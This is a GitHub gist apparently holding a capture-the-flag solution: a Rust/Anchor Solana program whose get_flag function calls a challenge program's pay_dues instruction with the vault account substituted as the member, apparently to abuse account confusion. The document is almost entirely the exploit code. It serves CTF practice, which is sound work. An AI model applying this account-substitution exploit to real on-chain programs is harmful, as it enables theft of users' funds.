Skip to content

Instantly share code, notes, and snippets.

@kangsangsoo
Created February 14, 2023 08:48
Show Gist options
  • Save kangsangsoo/d30f154cba6b471e510b6fda556a983e to your computer and use it in GitHub Desktop.
Save kangsangsoo/d30f154cba6b471e510b6fda556a983e to your computer and use it in GitHub Desktop.
use anchor_lang::prelude::*;
declare_id!("HavkuEW8ZoELQDKNr6Kcj6W5LFPK7YZhj2kkVgyfwUMu");
#[program]
pub mod solve {
use super::*;
pub fn get_flag(ctx: Context<GetFlag>) -> Result<()> {
let amt = 100_000_000;
let cpi_accounts = sailor::cpi::accounts::PayDues {
sailor_union: ctx.accounts.sailor_union.to_account_info(),
member: ctx.accounts.vault.to_account_info(),
authority: ctx.accounts.user.to_account_info(),
vault: ctx.accounts.vault.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.program.to_account_info(), cpi_accounts);
sailor::cpi::pay_dues(cpi_ctx, amt)?;
Ok(())
}
}
#[derive(Accounts)]
pub struct GetFlag<'info> {
program: Program<'info, sailor::program::Sailor>,
#[account(mut)]
user: AccountInfo<'info>,
#[account(mut)]
vault: AccountInfo<'info>,
#[account(mut)]
sailor_union: AccountInfo<'info>,
rich_boi: AccountInfo<'info>,
system_program: Program<'info, System>,
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment